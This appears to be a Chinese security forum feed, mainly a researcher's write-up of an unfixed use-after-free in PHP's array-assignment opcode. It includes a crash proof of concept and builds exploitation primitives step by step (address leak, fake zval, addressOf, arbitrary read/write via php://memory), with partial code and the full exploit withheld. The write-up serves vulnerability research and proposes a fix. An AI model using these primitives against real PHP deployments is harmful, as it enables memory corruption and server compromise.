90Sec - 专注于网络空间安全
做了一款服务网络安全领域人员的情报系统。
主要是提供安全情报,安全漏洞,威胁情报,数据泄露信息和众多安全工具,方便及时响应!
内置AI(gpt4o)/ai绘画(sd)/ChatTTS,无需登陆免费使用。里面有gpt4o,充了几十美元反正也用不完,给大家用了
3 个帖子 - 3 位参与者
PHP之殇 : 一个IR设计缺陷引发的蝴蝶效应
鸟哥 (Laruence) [1]是所有国内PHPer应该都知道的一个人。鸟哥的博客是我早期学习PHP内核的时候经常会去的地方。在2020年的时候,鸟哥发了一篇《深入理解PHP7内核之HashTable》的文章[2],在文章的结尾提到了一个问题:
在实现zend_array替换HashTable中我们遇到了很多的问题,绝大部份它们都被解决了,但遗留了一个问题,因为现在arData是连续分配的,那么当数组增长大小到需要扩容到时候,我们只能重新realloc内存,但系统并不保证你realloc以后,地址不会发生变化,那么就有可能:
<?php $array = range(0, 7); set_error_handler(function($err, $msg) { global $array; $array[] = 1; //force resize; }); function crash() { global $array; $array[0] += $var; //undefined notice } crash();比如上面的例子, 首先是一个全局数组,然后在函数crash中, 在+= opcode handler中,zend vm会首先获取array[0]的内容,然后+$var, 但var是undefined variable, 所以此时会触发一个未定义变量的notice,而同时我们设置了error_handler, 在其中我们给这个数组增加了一个元素, 因为PHP中的数组按照2^n的空间预先申请,此时数组满了,需要resize,于是发生了realloc,从error_handler返回以后,array[0]指向的内存就可能发生了变化,此时会出现内存读写错误,甚至segfault,有兴趣的同学,可以尝试用valgrind跑这个例子看看。
但这个问题的触发条件比较多,修复需要额外对数据结构,或者需要拆分add_assign对性能会有影响,另外绝大部分情况下因为数组的预先分配策略存在,以及其他大部分多opcode handler读写操作基本都很临近,这个问题其实很难被实际代码触发,所以这个问题一直悬停着。
直到今天这个问题还是悬停着。对于普通PHP开发者而言,这可能确实不算是一个很大的问题,但对于做安全的人来说,这里可能隐藏一个很严重的安全问题。因为它是我见过为数不多出现在PHP VM中的问题,而不是平时出现在各种PHP native libraries中的问题。一旦可以被利用,影响将非常之大。所以这个问题一直就放在了我的心上,它也一直以crash.php [3] 在我的PHP-exploit repo中放了4年. 特别地,只要你用PHP7或者8运行它就会出现segmentfault,也不知道有没有人去尝试过。
1.2 修复该问题的阻力鸟哥出给的解释非常清晰明了,这里我试着用更加通俗的伪代码来进一步帮助不熟悉PHP内部的读者, 去理解PHP VM在第11行这里到底做了什么:
// array = [0, 1, 2, 3, 4, 5, 6, 7] arr_base = get_base_addr_of(array) elem_addr = get_addr_by_index(array_base, index) elem = get_elem_from_addr(elem_addr) // elem is ok check_var(var) // is elem ok? res = add(elem, var) assign_var_to_elem(elem, res)这里做了这样几件事:
- 首先我们获取这个array存储元素内存区域的起始地址;
- 根据index获取我们指定元素的内存地址;
- 从elem_addr读取元素到elem;
- 检查var的合法性, 更具体一点, 当var是一个PHP代码中显式变量(i.e., $a)的时候, 检查它是否被定义过。 如果var是一个未定义的PHP变量, 那么VM会将var的值初始化为null. 因为VM不能直接将undefined (类似JS中的特殊值), 暴露给用户代码;
- 对elem和var做算术加法得到结果res;
- 最后将var赋值给elem。
而问题出现在第6行这里,check_var(var)可能会产生副作用(side-effects),从而clobber the world。这个词我是从JavaScriptCore (WebKit的JS引擎) 中学到的,副作用的出现可能会导致之前的计算结果变得的不可信,在这种不确定地情况下,我们是不能直接使用这些计算结果的。这里的elem是否还依然正确地指向待写入的目标元素呢? 在第6行之后我们是不能确定的,因为它指向的内存地址可能已经被释放了,而正确的目标元素位置已经被搬到了其他内存上。
以上其实就是PHP opcode ZEND_ASSIGN_DIM_OP的大致解释过程,完整的解释过程你可以在[4]中找到。那么这个问题为什么一直没有被修复呢? 好问题。我们从几个直觉上可行的简单修复方法开始,来讲一下修复的阻力在哪里。这里我用array->arData表示指向第1个元素的内存地址,其余array其他元素都顺序地落在其后.
简单方法1: 在第6行之后检查elem是否还落在array->arData相对位置上
这样做只能确保array->arData没有发生变化,但是你如何保证ABA问题 ? 比如array存储元素区域被释放了,然后被其他内存结构抢占了,然后又被释放了,再被布置为原本array存储元素区域的布局 (另外一个和它结构相同的array2把这块区域抢占了)。
简单方法2: 把check_var放在最前面
那么你考虑如下形式:
$array['a']['b'] = $var;这段代码会被翻译成类似如下的中间代码:
L0 : V2 = FETCH_DIM_W CV0($array) string("a") L1 : ASSIGN_DIM V2 string("b") L2 : OP_DATA CV1($var)这里我们考虑不带二元运算的ZEND_ASSIGN_DIM。以上代码等同于:
V2 &= $array['a']; V2['b'] = $var;其中V2是指向$array中index为'a'元素的位置,所以这里我用&=,来强调V2不是$array['a']。那么问题来了,如果第2行中的副作用导致在$array被resized了,那么这个V2就指向的位置就不对了。
这个问题注定了不能简单地被修复。
1.3 unset 和 reassign你可以试着将前面的resize操作换成unset或者reassign,如下:
<?php $array = range(0, 7); set_error_handler(function($err, $msg) { global $array; // $array = 2; unset($array); }); function crash() { global $array; $array[0] += $var; //undefined notice } crash();两个情况有些不太一样:
- unset($array),只是将$array在当前function scope内给"清理"掉了,并不影响全局变量中的$array,所以这里没有问题。
- $array = 2会影响到所有引用到它的地方,因此这里产生了和resize一样的问题。
有趣地是,官方已经注意到这样的问题,比如它对undefined index (i.e., $arr[$undef_var] = 1)产生的副作用做出了检查。而对要写入的值没有做检查。
- 这里它首先让ht (HashTable是zend_array的别名) 引用计数加1,把这个array hold住。
- 等错误处理函数返回之后,再减去这个前面加上的引用计数,如果引用计数没有发生变化,说明array没有被释放。
将ZEND_ASSIGN_DIM或者ZEND_ASSIGN_DIM_OP (同时包括所有的array fetch操作) 改成支持multi-index, 是我觉得最直接的手法。比如前面的$array['a']['b'] = $var;会被翻译为
L0 : V2 = FETCH_DIM_W CV0($array) string("a") L1 : ASSIGN_DIM V2 string("b") L2 : OP_DATA CV1($var)那么现在直接翻译为
L0 : ASSIGN_DIM CV0($array) [string("b"), string("b")] L1 : OP_DATA CV1($var)并且再此之前把所有的indexs和带待写入的var对应的表达式全部计算完成。注意这并不会改变现在PHP求值顺序. 考虑如下代码
<?php function func1() { echo "func1\n"; return 1; } function func2() { echo "func2\n"; return 2; } $a = []; set_error_handler(function($err, $msg){echo $msg."\n";}); echo $a[func1()][func2()]; /* output at PHP 8.3.3: func1 func2 Undefined array key 1 Trying to access array offset on null */可以看到index也是全部是先计算完成的。
0x02 三只蝴蝶 (butterfly)TL;DR. 如果不想听故事可以跳过这一章节。
四年前,在知道了这个问题之后,我就开始了探索应该如何利用它。非常可惜,我不太聪明,四年都没有能想出个招。这四年,我的工作也和PHP紧密结合在一起,在PHP里面写了大概有40-50k行代码吧,以至于我近乎写出了一个全新的PHP解释器,很难想象这是一个做安全的人在做的事情。所以我对PHP要稍微了解那么多一点点。
我能完成这篇文章,是因为有三只蝴蝶。第一只蝴蝶,教会我了一些新的方法; 第二只蝴蝶,让我发现了新大陆; 第三只蝴蝶,带我走出了困境。
之前,我其实一直被困在一个误区里面。我的基本想法是:
- array会被resize。
- 然后我马上拿到array释放的内存,这样就可以造一个UAF出来。
这里没有问题。
这里贴一下前面的关于ZEND_ASSIGN_DIM_OP类似的ZEND_ASSIGN_DIM的伪代码:
// array = [0, 1, 2, 3, 4, 5, 6, 7] arr_base = get_addr_of(array) elem_addr = get_addr_of(array_base, index) elem = get_elem_from_addr(elem_addr) check_var(var) assign_var_to_elem(elem, var)但是问题来了,其中assign_var_to_elem只能像目标内存写一个特殊的null (前面提到var会被初始化为null)值, 并且过程中需要对elem进行检查。换句话说目标内存需要有比较苛刻的memory layout. 其次受鸟哥代码中的a[0] += $var影响,我觉得这个null只能在这块内存稍前的位置写入。这就是我的误区。结合以上原因一直让我找不到一个合适的structure来hold这块内存。
过去我逐渐地其实不太关注PHP里面的安全了,有时候写代码也会发现一些问题,但也觉得就那么回事。直到最近看见了关于LockBit的新闻,突然有了兴趣,才有了《CVE-2023-3824: 幸运的Off-by-one (two?)》[5] 一文。在文章写完后的几天,我又去逛逛了安全圈看看大家都在研究什么,在这过程中发现那三只蝴蝶。
首先发现了一篇《WebAssembly安全研究总结》[6]。 这篇文章中重要介绍了如何通过构造恶意的bytecode来攻击Wasm引擎,挺有趣的,也行PHP opcache中的也有类似的问题。我个人比较喜欢解释器和编译器上的一些安全研究,然后我就想去看看有没有关于Wasm更深入一点研究,搜索了一下作者其他的文章。
第一只蝴蝶
我又发现了作者有许多关于JavaScriptCore (jsc) 的研究,我之前是没有接触过jsc,只短暂接触过V8。感觉似乎挺有趣的,那就来感受一下吧。在文章[7]和系列文章[8]的帮助下,使得我的博客中又多了一篇《CVE-2018-4262: Apple Safari RegExp Match Type Confusion by JIT》。在这过程中积累了一点点关于jsc的姿势。特别地,里面的部分构造(box/unbox)让我大开眼界,可谓是相当之精彩,以至于后面在PHP的构造中我都想重现它。 jsc里面有一个用来作为存储JSObject的properties和elements特殊结构叫butterfly, 因为其内存结构像一只带翅膀的蝴蝶,顾名butterfly。ascii graph来自[9]
-------------------------------------------------------- .. | propY | propX | length | elem0 | elem1 | elem2 | .. -------------------------------------------------------- ^ | +---------------+ | +-------------+ | Some Object | +-------------+在jsc的利用中都频繁地使用到了这个结构,包含我前面提到的box/unbox技术。这是第一只蝴蝶。
第二只蝴蝶
在看[9]的过程中,我又看到了saelo(前google project zero成员, 目前V8 JS引擎的安全负责人)的博客中《Pwning Lua through 'load'》[10]。 真苦恼,都是我喜欢读的东西,那就看吧。让我比较惊讶的Lua竟然没有bytecode verifier,文章内容和第一篇攻击Wasm引擎的内容比较相似。然后我又想看看Lua上的一些安全研究,搜索了到一系列来自bigshaq关于LuaJIT方面的安全研究[11],在里面遇到了第二只蝴蝶。LuaJIT的jit complier会将收集到的trace翻译成的IR放在一个类似butterfly结构中。形如
----------------------------------------- | | | | | |const2|const1|inst1|inst2| | | | | | --------------------▲-----------─--------- │ │ ┌──────┐ │ │ ir_p ├─────────┘ └──────┘instructions在一边翅膀,而constants在另一边翅膀。在这短暂的LuaJIT之旅中,又积累了一些关于LuaJIT的知识,但是我觉得最后研究的安全问题太刻意,毕竟是CTF的题,可以理解嘛。不过利用JIT code中的guarded assertions来固定shellcode的技术确实不错。
最后一只蝴蝶
PHP 8中的JIT技术深受LuaJIT影响。以至于bigshaq博客在一篇关于PHP文章中,给PHP打了patch,就把LuaJIT上相关利用直接拿到PHP上。绕了一大圈我又回到了PHP,我突然发现Dmitry整出了一套JIT Compilation Framework [11],名字就叫IR。Dmitry是那个一个人写了PHP中几乎全部optimizers的男人,我对其从心里佩服。听闻IR之后,让我内心久久不能平静,依托IR的全新JIT compiler已经merge到了PHP-src的主线上,令人抓狂的DynAsm终于不见了。我又马上看了一眼Dmitry对其的介绍[13],未来我终于有机会不用在PHP bytecode上做优化了。我看到了类似V8 TurboFan中的Sea of Nodes,及其各种补全的优化算法。这一刻,我打算以后为它也做点什么。因为Dmitry写的那些optimizers曾经陪伴我了很多时候。
我又想到文中这个IR缺陷,我觉得它应该结束了。我又开始了审视它,目光又重新对准了PHP中zend_array,它那里不恰好也有一只蝴蝶吗? 下面ascii来自[14]:
/* * HashTable Data Layout * ===================== * * +=============================+ * | HT_HASH(ht, ht->nTableMask) | +=============================+ * | ... | | HT_INVALID_IDX | * | HT_HASH(ht, -1) | | HT_INVALID_IDX | * +-----------------------------+ +-----------------------------+ * ht->arData ---> | Bucket[0] | ht->arPacked ---> | ZVAL[0] | * | ... | | ... | * | Bucket[ht->nTableSize-1] | | ZVAL[ht->nTableSize-1] | * +=============================+ +=============================+ */PHP中有两种特殊的数组,packed array和mixed array,我在考虑它们的时候,突然想起了这只蝴蝶。原来不用在内存稍前的位置写入那个null,完全可以在内存的中间写入这个null. 甚至我都忘记了可以通过拨动index来控制写入这个null的位置,这一错就是四年。原来那只蝴蝶一直都在那里,都在那个我能看得见的枝头。
0x03 PHP前置知识之前我写PHP内核相关内容的时候,几乎不会去写相关的前置知识,因为我不太想复制粘贴大量的代码,观感不是很好。 但是这次我希望更多的人,能从这个文章中学到一些东西。这篇文章用到的前置知识不会太多,不用担心。如果有不懂的地方,都可以发我邮件问我,但我不能保证及时地回复。
3.1 zval 结构PHP中的变量都是以zval 的形式出现的,它是一个tagged union形式:
// Zend/zend_types.h typedef union _zend_value { zend_long lval; /* long value */ double dval; /* double value */ zend_refcounted *counted; zend_string *str; zend_array *arr; zend_object *obj; zend_resource *res; zend_reference *ref; zend_ast_ref *ast; zval *zv; void *ptr; zend_class_entry *ce; zend_function *func; struct { uint32_t w1; uint32_t w2; } ww; } zend_value; struct _zval_struct { zend_value value; /* value */ union { uint32_t type_info; struct { ZEND_ENDIAN_LOHI_3( zend_uchar type, /* active type */ zend_uchar type_flags, union { uint16_t extra; /* not further specified */ } u) } v; } u1; union { ... } u2; };这在编程语言设计中非常常见,比如JavaScriptCore里面对应的变量表示形式JSValue。所以在了解编程语言内部的时候,你需要提早关注它里面的变量表示形式。其中zval.value会存储变量对应的真正值,而zval.u1.type_info会存储变量对应的类型信息。
3.2 PHP基本类型PHP中基本类型有
// Zend/zend_types.h #define IS_UNDEF 0 #define IS_NULL 1 #define IS_FALSE 2 #define IS_TRUE 3 #define IS_LONG 4 #define IS_DOUBLE 5 #define IS_STRING 6 #define IS_ARRAY 7 #define IS_OBJECT 8 #define IS_RESOURCE 9 #define IS_REFERENCE 10 #define IS_CONSTANT_AST 11 /* Constant expressions */它们出现在zval.u1.v.type中。
- undefined, null, false 和 true 可以直接用类型信息区分;
- long 和 double直接以primitive value存储在zval.value.lval和zval.value.dval中;
- string, array, object, resource, reference和constant_ast都有对应的具体结构,其地址将以指针的形式存放在zval.value.str, zval.value.arr ... 中。
zend_string用于描述上面提到的string类型。其结构如下:
typedef struct _zend_refcounted_h { uint32_t refcount; /* reference counter 32-bit */ union { uint32_t type_info; } u; } zend_refcounted_h; struct _zend_string { zend_refcounted_h gc; zend_ulong h; /* hash value */ size_t len; char val[1]; };其中:
- zend_string.gc : 我通常叫它gc_info,里面有一个比较重要是zend_string.gc.refcount表示引用计数;
- zend_string.h : 用于缓存对该string计算过的hash值;
- zend_string.len : 用于表示该string表示字符串长度;
- zend_string.val: 用于表示string表示字符串具体内容,可以看到字符串实际存储在zend_string结构后面连续的地方上。
PHP中两种类型的数组:
- packed array : 用整数作为index连续存放的数组 i.e., $arr = [1,2,3,4];
- mixed array: 混合了以字符串以index作为的数组 i.e., $arr = [1, 'key1' => 'val1'];
我们来介绍一下在array中的butterfly. 首先是packed array:
+=============================+ | HT_INVALID_IDX | | HT_INVALID_IDX | +-----------------------------+ ht->arPacked ---> | ZVAL[0] | | ... | | ZVAL[ht->nTableSize-1] | +=============================+其中zend_array.arData 指向第1个元素,注意到它并不是指向申请的内存起始位置,前面还有两个index cells (一个cell大小为4字节),在其上都存放着HT_INVALID_IDX == -1。因为packed array, 不需要对index做hash, 直接根据index取值就行。那这两个invalid index在这里是干啥呢? 为了照顾未来使用非整数index来array fetch。我之前就困在packed array之上。
再一个就是mixed array:
+=============================+ | HT_HASH(ht, ht->nTableMask) | | ... | | HT_HASH(ht, -1) | +-----------------------------+ ht->arData ---> | Bucket[0] | | ... | | Bucket[ht->nTableSize-1] | +=============================+PHP数组中的元素顺序存储, 位于一块连续的内存上。为了解决hash冲突,PHP将hash冲突的元素用一张链表连接。那么为了在mixed array中找到正确的元素,会做这样以下操作:
- 对index做hash, 得到值h;
- 根据h计算它落在index table的位置 h | ht->nTableMask, 其中index table就是第一个元素中的那块区域。每一个index cell中都存储目标元素所在链表的头结点与ht->arData的offset;
- 因此会从ht->arData[h | ht->nTableMask]开始遍历链表,比照real index,找到目标元素。
在mixed array中,index table中index cells的个数是这个array可存储元素容量的2倍。在array扩正的过程中依然会保持这个关系,例如如果array可以存储8个元素,那么就有16 index cells。它们总计大小,即是对应butterfly区域内存大小。
无论是packed array或者mixed array它们的容量最小都是8个元素,每次扩容都是double。特别地是,PHP数组存储单个元素的结构为Bucket, 其定义如下:
typedef struct _Bucket { zval val; zend_ulong h; /* hash value (or numeric index) */ zend_string *key; /* string key or NULL for numerics */ } Bucket;- Bucket.val 存放元素对应的value;
- Bucket.h 存放整型的index;
- Bucket.key 存放元素对应的key。
这里讲一下两个zval *var, *val之间的赋值过程,它对应Zend/zend_execute.h中两个函数zend_assign_to_variable 和 zend_copy_to_variabl部分过程 。我用伪代码表示,因为适合突出一些重要的东西,并省略一些不太重要的信息。
// assign val to var if var is refcouted: var_value = get_value_from_zval(var); copy_zval(var, val) if (get_refcount(var_value) == 1) free_value(var_value) else copy_zval(var, val)它对应的两个函数明显会比我给出的伪代码复杂,但是我们不需要关注里面大多数cases。其中我们说一个zval是refcounted,意味它对应值需要额外分配内存,比如string, array和 object这些都是,而null,false, true,long 和double它们不是refcounted,因为它们的值是直接保存在zval中的。这里赋值过程的核心逻辑是我们特别需要注意var原本的值。
我来解释一下这里在做什么:
- 当var是refcounted时,我们做以下操作:
- 首先我们用var_value记录了var的原值;
- 我们直接通过copy_zval将val拷贝到var上;
- 判断var的原值的引用计数是否为1,如果是1则释放掉var的原值。
- 反之,我们直接通过copy_zval将val拷贝到var。
在1.3中var的原值的引用计数为1,意味着这个值只有var来用,当var被赋予新值之后,它的原值就没人用了,那么是可以释放掉的。其中copy_zval做了两件事情:
- 将val的值直接拷贝到var上;
- 按情况调整val所指向值的引用计数。
这里我们暂时不讨论是什么情况会调整引用计数。
3.6 Copy on Write它的中文名叫写时复制,是一种比较常见的优化。考虑如下代码
$a = 'aaaa'; $b = $a; echo $b; $b .= 'b'; echo $b;在第二行这里并不会直接复制字符串'aaaa' 给变量$b,而是把$a指向的string上引用计数加1. 在第4行这里才会将前面的字符串重新复制一份,用于连接字符串b,再将新的结果写入$b. 那么写时复制是如何判断的呢? 很简单,你只需要判断你指向的值的引用计数是否大于1.
以上就是这里我们需要知道的所有PHP里面的知识。
0x04 利用简述我们的大致路线是:
- 构造fakeZval原语;
- 泄露堆上某个地址;
- 构造addressOf原语;
- 构造第一阶段有条件的读/写原语;
- 构造第二阶段稳定的任意读/写原语。
参考jsc中经常会fakeObj和addressOf原语, 我们来构造PHP中独特的fakeZval和addressOf。这篇文章不讨论后续利用,因为相关利用方式比较模板化,常规PHP漏洞利用中都有提到,不再累述,节省篇幅。
0x05 构造fake zval这个技术的灵感来于jsc利用里面的fakeobj源语。
回忆一下,我们之前的想法
- 触发array的resize, 让array的butterfly被释放掉;
- 我们马上抢占这块butterfly对应的内存;
- 让null写在我们抢占这块内存所使用的结构上。
这里我们先搞清楚两个问题:
-
null会写在butterfly的哪里?
-
结合我们前面理解的两个zval直接的赋值过程,如何让写null这个操作顺利执行?
第1个问题,毫无意义,null写在你通过index指定的元素上. 例如我定义一个mixed array如下:
$a1_str = 'eeee' $victim_arr = array( 'a1' => $a1_str, 'a2' => 1, 'a3' => 1, 'a4' => 1, 'a5' => 1, 'a6' => 1, 'a7' => 1, 'a8' => 1, );它对应的memory layout如下(我们前面提到过,8个元素对应16个index cells):
┌───────────────┐ │ index_cell15 │ │ ├───────────────┤ │ │ ... │ │ ├───────────────┤ │ │ index_cell1 │ │ ├───────────────┤ │ │ index_cell0 │ │ addr $victim_arr['a1']──────► |───────────────┤ │ │ bucket0 │ │ ├───────────────┤ │ │ bucket1 │ │ ├───────────────┤ ▼ │ ... │ ├───────────────┤ │ bucket7 │ └───────────────┘如果要写这个数组的第1个元素 $a[0] = $undef_var,那么写入的位置相对于这块butterfly的其实地址的offset应该为4 * 16 = 64。
第二问题,当上面的butterfly区域被释放后,我们马上构造一个大小合适的string来把它抢占。例如:
$zend_array_burket_size = 0x20; $zend_table_index_size = 0x4; $zend_string_size = 0x20; $user_str_length = 16 * $zend_table_index_size + 8 * $zend_array_burket_size - $zend_string_size; set_error_handler(function() { $victim_arr['a9'] = 1; $user_str = str_repeat('b', $user_str_length); })对于一个string, 它的前0x18字节属于header, 具体来说:
- +0x0 : 引用计数;
- +0x4 : gc信息;
- +0x08 : hash值缓存,如果对这个string做过hash,得到的hash会放在这个地方;
- +0x16 : 字符串长度;
- 其余部分存储字符串内容。
那么很显然要写的地方0x40落在了我们可控的字符串内容上。那么可以伪造一个zval,来满足前面提到过的赋值过程中的check,让null顺利的写到这个fake zval上。
0x06 泄露某个地址绕过ASLR,或者是读写指定地址的内容,我们都需要先泄露一些地址,才能准确定位我们需要的地址。这里的过程比较trick,我们借助了PHP的弱类型转换。考虑如下代码:
$victim_arr['a1'] = true; $victim_arr['a1'] .= null; var_dump($victim_arr['a1']); // output: string(1) "1"在第3行这里,有一个string concact操作,会把$a['a1']和null连接起来。但是它们都不是string,所以这里会经历一个弱转,true会被转成字符串"1",而null会被转成empty string。 最后值为"1"的string写到$a['a1']上,所以$a['a1']会保存这个string的指针。通过前面UAF, $a['a1']实际位于我们可以控制的内存 (即$user_str)上,它对应我们使用fakeZval构造的zval。通过读取$user_str,我们就拿到了这个string的地址。
此时$user_str内存布局应该为
┌──────────────┐ │ │ │ string_header│ │ │ ├──────────────┤0x18 │ │ │ ... │ │ │ string: '1' fake_zval_with_null──────────►├──────────────┤0x40 ◄─────────────┬────────────┐ │ zval_value │ 0x0 │ │ gc_header │ ├────────────────►├──────────────┤0x48 ├────────────┤ │ zval_type │ 0x3 │ │ hash │ └────────────────►├──────────────┤ ├────────────┤ │ │ │ len │ │ │ ├────────────┤ │ │ │ content │ └──────────────┘ └────────────┘注意里面的0x3表示是这个fake zval是一个true。因为这个fake zval作为一个待赋值的zval,它只是一个null,非前面我们提到的refcounted类型的值。所以这里的赋值过程非常简单:
- 将string : "1"的地址复制到fake zval的zval.value.str中;
- 将fake zval类型修改为 is_string。
注意这里有一个小问题,你会发现上述泄露出来的string地址不在PHP自己管理的堆上,用于存放各种PHP运行时结构。而是在glibc通过malloc/free管理的堆上。这是因为PHP对于字符串的一个小优化,PHP会将常见的字符串对应的string事先分配,如果在运行时,有碰到这些字符串,直接返回之前分配好的就行,避免频繁分配。而这些字符串在PHP是以persistent string出现的, 它们内存都是通过malloc分配的。
true弱转对应的当个字符"1"恰好就是这已知字符串中的一个,并且它在这里连接是一个empty string。使得最后结果依然这个已知的string。如果我们想到得到PHP自己堆上的一个地址,我们就必须绕过它。很简单,我们可以用int或者double来作为fake zval的值就行。
这里我使用的是int : (100),最后我们就得到了string : "100"的地址。为什么使用100,后面会提到。
0x07 获取一块内存目前我们有string : "100"的地址str100_addr,我们先来看一下string : "100"的memory layout:
string : "100" ┌────────────────────────┐ │ 0x0000001600000001 │gc_info fake_string──►├────────────────────────┤ │ 0x0000000000000000 │hash ├────────────────────────┤ │ 0x0000000000000003 │len ├────────────────────────┤ fake_len─────►│ 0x00007fff00303031 │content ├────────────────────────┤ │ │ └────────────────────────┘在content这里的0x303031其实对应字符串"100"。试想,我们如果利用fakeZval原语构造一个zval, 让它的类型为string,让它的值指向str100_addr + 0x8,即上图的fake_string处的位置。从fake_string开始,我们构造了一个新的string, 它的长度为0x00007fff00303031。其中出现的7fff是堆上的一些随机数据,这里的0x303031它是大于一个PHP中memory chunk的容量0x200000的,以至于这个fake_string能盖住整个memory chunk,这就是我之前用int : (100)的原因。
我们的想法是,我能不能利用这个fake_string读到内存后面的内容? 那么我需要拿到这个fake_string,如下:
reset_victim_arr_and_user_str(); set_error_handler(function() { // resize global $victim_arr; global $user_str_length; global $user_str; global $first_elem_offset; global $zend_string_header; global $str100_addr; $victim_arr['a9'] = 1; $user_str = str_repeat('b', $user_str_length); // construct fake zval that contains a fake zend_string; // 1. zval.value.str <= $leak_addr + 0x8; // 2. zval.u1.type_info <= is_string_ex == (6 | (1 << 8)); writestr64($user_str, $first_elem_offset - $zend_string_header, $str100_addr + 0x8); writestr64($user_str, $first_elem_offset - $zend_string_header + 0x8, (6 | (1 << 8))); }); $heap = $victim_arr['a1'] .= $undef_var;- 第1行 reset_victim_arr_and_user_str() 表示重置$victim_arr 和 $user_str,以保证后面UAF的触发;
- 在error_handler里面我们构造了一个fake zval, 指向我们的fake_string;
- 注意第15行这里,我们用$heap hold了后面这个array assign的计算结果。后面array assign的计算结果是fake_string拼接一个empty string,那么这意味着$heap就是fake_string。
我们可以通过读取$heap来漫游PHP堆上的内容。这不算完,我们还可以修改$heap对应fake_string的内容,但不会触发copy-on-write。不会触发copy-on-write是这里最关键的。按道理,$heap hold了array assign的计算结果,即为fake_string,那么fake_string的引用计数是需要加1的,如果fake_string的引用计数大于1,在我们修改$heap的时候,就会发生copy-on-write,造成我们根本修改不到fake_string上的内容。再退一步说,我们可能会在copy-on-write的时候会导致PHP直接结束,因为fake_string的size可能会很大,你要拷贝一份fake_string显然就会失败,比如参考前面的0x00007fff00303031。
那么这里为什么不会发生copy-on-write,我们看fake_string的gc_info,它的值是原来string : "100"的hash,即为0x00。而PHP检查一个值是不是refcounted,就会检查gc_info是不是不为0x00。这就意味着PHP认为fake_string不是refcounted,即不是gc关注的对象。意味着array assign计算结果也不是refcounted,那么这里根本就不存在什么copy-on-write。以为copy-on-write只针对refcounted values。
0x08 构造addressOf现在我们就有一个可读可写,并且我们知道它位置的内存。实际做到一步,我们已经可以停手了。比如像[5]中的利用方式一样:
- 在堆上喷射大量我们想要读取的内存结构,拿到我们想要的地址。
- 在堆上喷射大量我们想要写入的内容结构,写入我们希望的值。
在第一版exploitation我是这样的利用的。但是这里还是有很多不确定性,比如我们喷射的内存结构不在我们可以漫游的memory chunk中,就可能会失败。这时候我们需要重新调整fake_string的位置,比如先喷射大量的string : "100",让我们迁移到全新的memory chunk上。
没人喜欢不确定性,我也一样。这里我们来构造一个更加稳定的addressOf来帮助我们定位想要的内存结构位置。比如
$num = 1111; $num_value = addressOf($num); $str = "aaaaaaa"; $str_addr = addressOf($func); $obj = new stdClass(); $obj_addr = addressOf($obj);它有如下功能 :
- 对于不是refcounted的值,我们直接可以通过addressOf来获取它的immediate value。比如上面的$num。
- 对于refcounted的值,我们可以通过addressOf来获取它的地址。比如上面的$str和$obj。
我们的想法是在前面这块内存上布置一个array : [0, 1, 2, 3, 4, 5, 6, 7] 。如下
array : [0, 1, 2, 3, 4, 5, 6, 7] ┌───────────────┐ │packed_arr_flag│ butterfly ├───────────────┤ ┌────────────────┐ │ ... │ │ invalid_idx │ │ ... │ ├────────────────┤ ├───────────────┤ │ invalid_idx │ │ arData ├─────────────────►├────────────────┤ ├───────────────┤ │ bucket0 │ │ ... │ ├────────────────┤ │ ... │ │ ... │ │ │ ├────────────────┤ │ │ │ bucket7 │ │ │ └────────────────┘ └───────────────┘我们的想法:
- 控制这个fake array的引用计数为1;
- 使用fakeZval原语包装这个fake_array;
- 触发前面的UAF,fake_array被释放,我们马上申请一个相同的array $hax,拿到这块内存;
- 假设你要读取的值为$val, 那么使得$hax[0] = $val ;
- 那么我们再去$heap指定位置读butterfly上第一个元素的内容,即可获得我们想要的。
需要注意的是,在free一个小内存的时候,PHP是先定位它所在page,来判定它属于什么size的bin,再投放正确的到free_list上。所以你构造fake array的位置要确定好。如果你想绕过这个限制,你可以申请一块超大内存,来自己伪造memory chunk,具体可以参考[16]。
0x09 任意读/写原语我目光对准了php://memory[15],PHP运行我们以文件操作的形式操作一块内存。控制这块内存大小的结构为,
typedef struct { char *data; size_t fpos; size_t fsize; size_t smax; int mode; } php_stream_memory_data;我们的想法:
- 在$heap上布置和sizeof(php_stream_memory_data)大小的string;
- 利用UAF释放掉这个string,确保fopen("php://memory")在创建php_stream拿到;
- 修改上面的data指针和fpos以及fsize来读写任意的区域。
同样地,要注意释放string所在的page。
0x0A 完整的利用暂时不提供,因为影响比较大,且没有修复。
0x0B 总结我们分析了PHP IR中存在的问题,以及为什么长时间没有被修复,最后提出了一个修复建议。写下了我在探索这个问题时,给过我帮助的3只蝴蝶。最后给大家分享了我的利用方式,将JS引擎利用中的常见原语尝试搬到了PHP上。当走出了误区之后,在构造exploitation过程中诞生了许多ideas,实际这不是一个特别难的利用,只是我比较笨而已。我觉得不同解释器或者编译器的利用中都有很多相同点,可以相互借鉴学习,也许能帮你找到更多的思路。
最后,题目中的"PHP之殇",更多是对过去的一种告别,未来我会更多关注PHP中可能马上会release的新的JIT complier,希望在未来给大家带来我关于它的一些有趣的故事。
0x0C 引用- 风雪之隅, https://www.laruence.com/
- 深入理解PHP7内核之HashTable, 深入理解PHP7内核之HashTable - 风雪之隅
- crash.php, php-exploit/crash.php at master · m4p1e/php-exploit · GitHub
- zend_assign_dim_op, php-src/Zend/zend_vm_def.h at master · php/php-src · GitHub
- CVE-2023-3824: 幸运的Off-by-one (two?), CVE-2023-3824: 幸运的Off-by-one (two?) | maplgebra
- WebAssembly安全研究总结, https://mp.weixin.qq.com/s/cPUaDQaCWpZiBEgZqbqvPg
- JavaScript engine exploit(二),JavaScript engine exploit(二)-安全客 - 安全资讯平台
- Browser Exploitation, Browser Exploitation - LiveOverflow
- Attacking JavaScript Engine, .:: Phrack Magazine ::.
- Pwning Lua through 'load', Pwning Lua through 'load'
- LuaJIT Internals: Intro, LuaJIT Internals: Intro
- dstogov/ir, GitHub - dstogov/ir: Lightweight JIT Compilation Framework
- https://www.researchgate.net/publication/374470404_IR_JIT_Framework_a_base_for_the_next_generation_JIT_for_PHP
- Zend/zend_types.h, php-src/Zend/zend_types.h at master · php/php-src · GitHub
- PHP memory wrapper PHP: php:// - Manual
- RWCTF2021 Mop 0day Writeup, RWCTF2021 Mop 0day Writeup | maplgebra
1 个帖子 - 1 位参与者
CVE-2023-3824: 幸运的Off-by-one
